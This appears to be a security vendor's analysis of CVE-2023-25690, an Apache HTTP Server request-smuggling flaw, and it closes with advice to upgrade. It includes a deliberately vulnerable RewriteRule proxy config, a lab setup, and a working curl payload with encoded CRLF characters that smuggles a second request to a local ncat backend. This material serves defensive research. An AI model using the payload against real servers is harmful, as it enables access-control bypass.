Description
On March 7, 2023, the Apache Foundation posted an advisory stating that CVE-2023-25690 had been fixed in Apache HTTP Server 2.4.56. The fix, merged on March 5, prevents control characters from being submitted as part of a proxied request. Its CVSS base score is 9.8, as this can theoretically bypass access controls.
The issue seemed to go largely unnoticed until May 21, 2023, when a researcher who goes by dhmosfunk published a proof of concept, which demonstrated how this vulnerability can be used for both header-injection and request-smuggling attacks against a theoretical vulnerable application that they themselves developed.
For a real application to be affected, several factors must be present:
- The application must be running on a vulnerable version of Apache HTTP Server (2.4.55 and earlier)
- The Apache server’s configuration must have RewriteRule that copies data into the query string of a proxied URL
- The application must treat the proxy as a meaningful security boundary
So far, we are not aware of any vulnerable applications; however, we wouldn’t be surprised if some exist (particularly bespoke applications and proxies). Since a proof of concept exists, and this issue is very easy to exploit, if somebody DOES find a vulnerable application it will likely be exploited very quickly.
Technical analysis
To understand this vulnerability, we’ll create an Apache HTTP Server with a minimal httpd.conf file, based on the advisory:
# Required stuff
LoadModule mpm_event_module modules/mod_mpm_event.so
LoadModule authz_core_module modules/mod_authz_core.so
LoadModule unixd_module modules/mod_unixd.so
Listen 80
User www-data
Group www-data
# The vulnerable rewrite/proxy modules
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
# Turn on the RewriteEngine
RewriteEngine on
# Create a rule that redirects the full URL to the query-string of another server
RewriteRule "^/(.*)" "http://localhost:8081/?arg=$1" [P]Then fire up Apache HTTP Server 2.4.55 (the most recent vulnerable version) in Docker, mounting that config file into the container (the configuration file should also work outside of Docker):
$ docker run --network=host --rm --volume $PWD/httpd.conf:/usr/local/apache2/conf/httpd.conf -it httpd:2.4.55
AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using 172.16.166.147. Set the 'ServerName' directive globally to suppress this messageWe pass the argument --network=host to ensure the proxy’s connection to localhost:8081 works; the rest of that command is pretty standard fare for docker run.
In another window, run an ncat listener on port 8081; this will serve as the backend. By adding </dev/null, we also close the connection immediately after receiving data (the proxy will think the backend is down, which is fine):
$ nc -l -p 8081 </dev/nullOnce the Apache HTTP Server is running, and Netcat is ready to catch our proxied requests, send a request to the server with newline characters and a second request built in:
$ curl 'http://127.0.0.1/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/ohnosmuggled/hi'
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>502 Proxy Error</title>
</head><body>
<h1>Proxy Error</h1>
<p>The proxy server received an invalid
response from an upstream server.<br />
The proxy server could not handle the request<p>Reason: <strong>Error reading from remote server</strong></p></p>
</body></html>While the response returns an error, if we check the ncat listener, we’ll see that two separate requests arrived:
$ nc -l -p 8081 </dev/null
GET /?arg=1 HTTP/1.1
Host: localhost
GET /ohnosmuggled/hi HTTP/1.1
Host: localhost:8081
User-Agent: curl/7.79.1
Accept: */*
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Server: 172.16.166.147
Connection: closeIf those requests went to a web server instead of ncat, they’d be handled as two separate requests.
Guidance
We suggest updating Apache version 2.4.56 (or higher), especially if your services are using RewriteRule entries.



